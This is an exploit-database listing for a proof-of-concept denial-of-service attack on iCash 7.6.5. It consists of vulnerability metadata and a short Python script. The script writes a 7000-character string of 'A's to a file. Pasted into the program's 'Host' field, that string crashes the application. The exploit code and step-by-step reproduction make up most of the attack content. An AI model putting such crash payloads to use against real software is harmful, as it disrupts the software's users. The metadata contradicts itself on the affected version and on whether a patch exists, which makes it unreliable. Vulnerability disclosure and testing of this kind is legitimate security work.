iCash 7.6.5 - Denial of Service (PoC)

vendor:

iCash

by:

Gionathan "John" Reale

5.5

CVSS

MEDIUM

Denial of Service

400

CWE

Product Name: iCash

Affected Version From: 7.6.2005

Affected Version To: 7.6.2005

Patch Exists: NO

Related CWE:

CPE: a:maxprog:icash:7.6.5

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 32-bit

2018

iCash 7.6.5 – Denial of Service (PoC)

This exploit creates a malicious payload that causes a denial of service in iCash version 7.6.5. The payload is a string of 'A' characters with a length of 7000. When the payload is pasted into the 'Host' field during the 'Connect to Server...' process, it causes the program to crash.

Mitigation:

Update to a patched version of iCash that addresses the vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: iCash 7.6.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.maxprog.com/site/misc/downloads_us.php
# Tested Version: 7.6.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "File" > "Connect to Server..."
# Now paste the contents of "exploit.txt" into the fields:"Host"
# Click the "Connect" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"